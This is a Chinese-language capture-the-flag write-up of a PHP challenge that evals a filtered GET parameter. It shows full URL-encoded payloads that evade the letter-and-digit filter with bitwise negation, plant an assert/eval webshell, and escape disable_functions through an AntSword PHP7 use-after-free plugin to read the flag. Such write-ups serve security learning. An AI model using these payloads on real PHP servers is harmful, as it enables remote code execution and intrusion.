本题知识点

  • 异或绕过正则coderce
  • php7disable_functions

打开页面得到源码

error_reporting(0);
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(strlen($code)>40){
        die("This is too Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

正则限制了所有的字母跟数字位数限制在40位内,直接获取异或后的值

echo urlencode(~'phpinfo');

得到

%8F%97%8F%96%91%99%90

利用php7的特性去执行命令

?code=(~%8F%97%8F%96%91%99%90)();

47739-dnqp2vd62cb.png

可以看到system、exec、shell_exec等命令执行的函数都被Ban了,先构造个Shell连上看一下:

我们要异或后还得到以下结果

(assert)((eval(_POST[cmd])));

把里面assert跟后面的一句话异或即可

<?php
echo urlencode(~'assert')."\n";
$b='(eval(_POST[cmd]))';
echo urlencode(~$b)."\n";
?>

最后payload为

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

然后连接发现根目录下有flag但是没有读取权限,但是有应该readfile,那么就是通过运行readfile去获取flag

46173-rkq8xdr30c.png

但是我们现在没有办法执行命令

88985-0hr7o018mmzs.png

蚁剑有一个绕过disable_functions的插件,正好有PHP7的UAF,成功的话点击开始就会得到一个新窗口,没有成功就多尝试几次

69311-lm6cnhq1xej.png

运行得到终端,运行/readflag获得Flag:

52388-978qjxe2jf.png

最后修改:2022 年 01 月 23 日
如果觉得我的文章对你有用,请随意赞赏